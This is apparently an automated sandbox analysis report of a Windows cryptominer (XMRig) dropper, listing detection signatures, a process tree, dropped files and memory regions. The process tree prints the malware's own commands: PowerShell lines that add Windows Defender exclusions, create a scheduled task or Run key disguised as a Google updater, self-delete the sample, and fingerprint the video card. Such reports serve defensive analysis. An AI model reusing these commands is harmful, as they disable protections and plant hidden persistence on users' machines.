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Analysis

  • max time kernel
    1798s
  • max time network
    1795s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 16:18

General

  • Target
    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
  • Size 2.0MB
  • Sample240722-trzfaaxall
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3508
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2140
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4512
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4960
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1836
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2392
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4404
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1040
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1848
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:2304
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3656
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4208
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4772

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3d12995b9dae81b866043b803c45bd08192f3bf68bd5d6cd53e75042a344657a
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_xzontgzy.wgp.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xzontgzy.wgp.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/640-19-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/640-18-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/640-30-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/640-31-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/640-33-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/1040-112-0x00007FF6F4F50000-0x00007FF6F4F66000-memory.dmp

                memory/1040-108-0x00007FF6F4F50000-0x00007FF6F4F66000-memory.dmp

                memory/2140-35-0x00007FF7CBE60000-0x00007FF7CC071000-memory.dmp

                memory/2140-0-0x00007FF7CBE60000-0x00007FF7CC071000-memory.dmp

                memory/2392-71-0x000001D1E2680000-0x000001D1E268A000-memory.dmp

                memory/2392-73-0x000001D1E2690000-0x000001D1E2698000-memory.dmp

                memory/2392-68-0x000001D1E2470000-0x000001D1E2525000-memory.dmp

                memory/2392-69-0x000001D1E2530000-0x000001D1E253A000-memory.dmp

                memory/2392-70-0x000001D1E26A0000-0x000001D1E26BC000-memory.dmp

                memory/2392-75-0x000001D1E26D0000-0x000001D1E26DA000-memory.dmp

                memory/2392-72-0x000001D1E26E0000-0x000001D1E26FA000-memory.dmp

                memory/2392-67-0x000001D1E2450000-0x000001D1E246C000-memory.dmp

                memory/2392-74-0x000001D1E26C0000-0x000001D1E26C6000-memory.dmp

                memory/3772-16-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/3772-13-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/3772-12-0x00007FFFA9990000-0x00007FFFAA451000-memory.dmp

                memory/3772-7-0x000001EE22D30000-0x000001EE22D52000-memory.dmp

                memory/3772-1-0x00007FFFA9993000-0x00007FFFA9995000-memory.dmp

                memory/4208-107-0x00000216BBB20000-0x00000216BBB40000-memory.dmp

                memory/4208-135-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-165-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-109-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-111-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-163-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-113-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-115-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-117-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-119-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-121-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-123-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-125-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-127-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-129-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-131-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-133-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-106-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-137-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-139-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-141-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-143-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-145-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-147-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-149-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-151-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-153-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-155-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-157-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-159-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4208-161-0x00007FF670530000-0x00007FF670D24000-memory.dmp

                memory/4772-48-0x00007FF631310000-0x00007FF631521000-memory.dmp

                memory/4772-105-0x00007FF631310000-0x00007FF631521000-memory.dmp